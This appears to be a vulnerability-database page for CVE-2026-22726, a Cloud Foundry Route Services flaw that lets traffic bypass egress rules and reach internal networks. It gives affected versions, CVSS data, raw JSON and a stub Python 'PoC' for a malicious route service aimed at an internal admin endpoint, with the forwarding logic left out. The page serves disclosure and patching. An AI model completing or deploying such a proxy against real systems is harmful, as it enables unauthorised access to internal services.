Security Vulnerability Report
中文
CVE-2026-22726 CVSS 5.0 MEDIUM

CVE-2026-22726

Published: 2026-05-01 00:16:24
Last Modified: 2026-05-04 18:30:02

Description

Route Services can be leveraged to send app traffic to network destinations outside of an app's configured egress rules. As a result, a malicious developer with access to Cloudfoundry could configure a route-service that would allow it to send requests to HTTP services on internal networks reachable by the Gorouter, which may not have previously had direct access from outside networks, or from the application. Routing release: affected from v0.118.0 through v0.371.0 (inclusive); upgrade to v0.372.0 or greater. CF Deployment: affected from v0.0.2 through v54.14.0 (inclusive); upgrade to v55.0.0 or greater (includes routing_release v0.372.0).

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:cloudfoundry:cf-deployment:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cloudfoundry:routing_release:*:*:*:*:*:*:*:* - VULNERABLE
Routing Release v0.118.0 - v0.371.0
CF Deployment v0.0.2 - v54.14.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-22726: Cloud Foundry Route Service Firewall Bypass # This script represents a malicious Route Service that intercepts traffic # and forwards it to an internal destination blocked by egress rules. from flask import Flask, request, jsonify app = Flask(__name__) # The internal target URL that is normally blocked INTERNAL_TARGET = "http://internal-admin-service.local/secret-endpoint" @app.route('/', methods=['GET', 'POST', 'PUT', 'DELETE']) def forward_request(): # Extract original headers and body headers = dict(request.headers) method = request.method data = request.get_data() # Logic to forward request to INTERNAL_TARGET would go here # This demonstrates the ability to route traffic to an unauthorized destination print(f"[+] Received {method} request intended for external app.") print(f"[!] Bypassing egress rules to forward request to: {INTERNAL_TARGET}") # In a real attack, the service would use 'requests' library to proxy to INTERNAL_TARGET # and return the response to the original client. return jsonify({ "status": "intercepted", "message": "Request captured by malicious Route Service", "target": INTERNAL_TARGET }), 200 if __name__ == '__main__': # Cloud Foundry expects the route service to listen on PORT import os port = int(os.environ.get('PORT', 8080)) app.run(host='0.0.0.0', port=port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22726", "sourceIdentifier": "[email protected]", "published": "2026-05-01T00:16:23.650", "lastModified": "2026-05-04T18:30:01.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Route Services can be leveraged to send app traffic to network destinations outside of an app's configured egress rules. As a result, a malicious developer with access to Cloudfoundry could configure a route-service that would allow it to send requests to HTTP services on internal networks reachable by the Gorouter, which may not have previously had direct access from outside networks, or from the application.\nRouting release: affected from v0.118.0 through v0.371.0 (inclusive); upgrade to v0.372.0 or greater. CF Deployment: affected from v0.0.2 through v54.14.0 (inclusive); upgrade to v55.0.0 or greater (includes routing_release v0.372.0)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-923"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cloudfoundry:cf-deployment:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.0.2", "versionEndExcluding": "55.0.0", "matchCriteriaId": "DF44134F-4993-470C-8445-F3A8CD29F7F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cloudfoundry:routing_release:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.118.0", "versionEndExcluding": "0.372.0", "matchCriteriaId": "EC7712BB-3C94-42C2-9EF8-E51296103886"}]}]}], "references": [{"url": "https://www.cloudfoundry.org/blog/cve-2026-22726-route-services-firewall-bypass/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}